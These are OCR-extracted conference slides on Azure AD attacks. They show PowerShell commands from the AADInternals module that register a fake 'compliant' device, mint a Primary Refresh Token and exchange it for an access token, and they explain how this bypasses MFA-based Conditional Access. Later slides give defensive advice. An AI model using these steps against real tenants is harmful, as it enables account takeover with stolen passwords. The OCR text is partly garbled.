Getting your own PRT with a “compliant” “device”

* Can you fake enrollment? Yes!
* Awesome research by Nestori Syynimaa
* AADInternals module

* Allows for device registration and faking compliancy




Registering our own device

Device successfully registered to Azure AD:
DisplayMame: "legitdevice"
Deviceld: 86862581 -502a3-43d7-9585-108b1e515e8+5
Cert thumbprint: 8327112F711D5DDCS7E24D737988383AFSA95EEC
Cert file name : "@6BGRe581-5023-43d7-95085-18ble515e@+F5.pfu"”
Local 5ID:
5-1-5-32-544
Additional SIDs:
5-1-12-1-34498588086-131586831886-1869713383-529194843
5-1-12-1-15132996108-116546026884-3688819602-1191284924
5-1-12-1-2714795687-121868565886- 1886819246~ 3889775654

Enabled Version Join Type Owner Compliant Registered

1337 Azure AD joined yub M/A 12/10/2020, 2:59:17




Getting and using a PRT

PS C:wUsersiyyubiiDesktopy EprtkKeys = Get-AADIntUserPRTKeys -PfxFileNames .\@686e581-582a-43d7-9585-18b1e515e@f5.pfx -Credentials $credentials
Keys saved to @6@86e581-582a-43d7-9585-18b1e515e8F5. json

P5 C:wUsersiyyubiiDesktop> ESprtToken = Mew-AADIntUserPRTToken -Settings Sprtieys -GetMonce

PS C:WUsershyubiyDesktop:

PS C:WUsershyyubiyDesktop:

PS C:WWUsershyubiyDesktop> Get-AADIntAccessTokenForAADGraph -PRTToken SprtToken
eyJBeXAi0iJKVIQiLCIhbGeci0ilSUzIINIIsIngldCIeImtnMkxZcz JUMENUak1majRydDZKSXluZWdzOCIs ImtpZ CI6ImtnMkxZcz JUMENUak1lmajRydDZKSX1uZWdz0CT9 . ey IhdW)id
BolLndpbmRvd3Mubmy@IiwiaXNzIjoiaHRBcHMEL vz dHMUd21uZGA3cySuZ Qv TAN2Y ywORYENGY 37 i88Mz Iy L TkZNTELY Tg20TdkOGZ IMWI jLy T s Iml hd CTIBMTYwNz YwO Tk 2Ny wibmIn
CJ1eHAIOJEZMDC2ZMTMAN]csImFjciI6IjEILCIhakWBi0i JBVVFBASBAUKFBEQUFARLIAQTCEECZBNZmIlcDAtcEZIUHZpT3pVYVkkdek1BLytLc1dzNBZOWHUVWMSGSK1INTFAVSVMzdFRaZn:

Refs: https://0365blog.com/post/prt/#creating-your-own-prt
https://0365blog.com/post/mdm/
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Policy upgrade

* Registering device does not require MFA by default

* Allows for upgrading password-only access to compliant device
access

* Policies often require either MFA or a compliant device




PRT and device registration abuse — Blue Side

* Worry about the other stuff first

* Defending the endpoint becomes more important
* Restrict who can join/register devices

* Require MFA to register a device

* Do monitor for odd device joins




Closing thoughts

* Conditional Access Is tricky.

* Try to specify policies as broad as possible, with exceptions where
absolutely needed only.

* Understand what each policy does and what the risks are of
exceptions.

* Even If policies are not perfect, CA can be great for monitoring
weird bypass attempts and acting early.




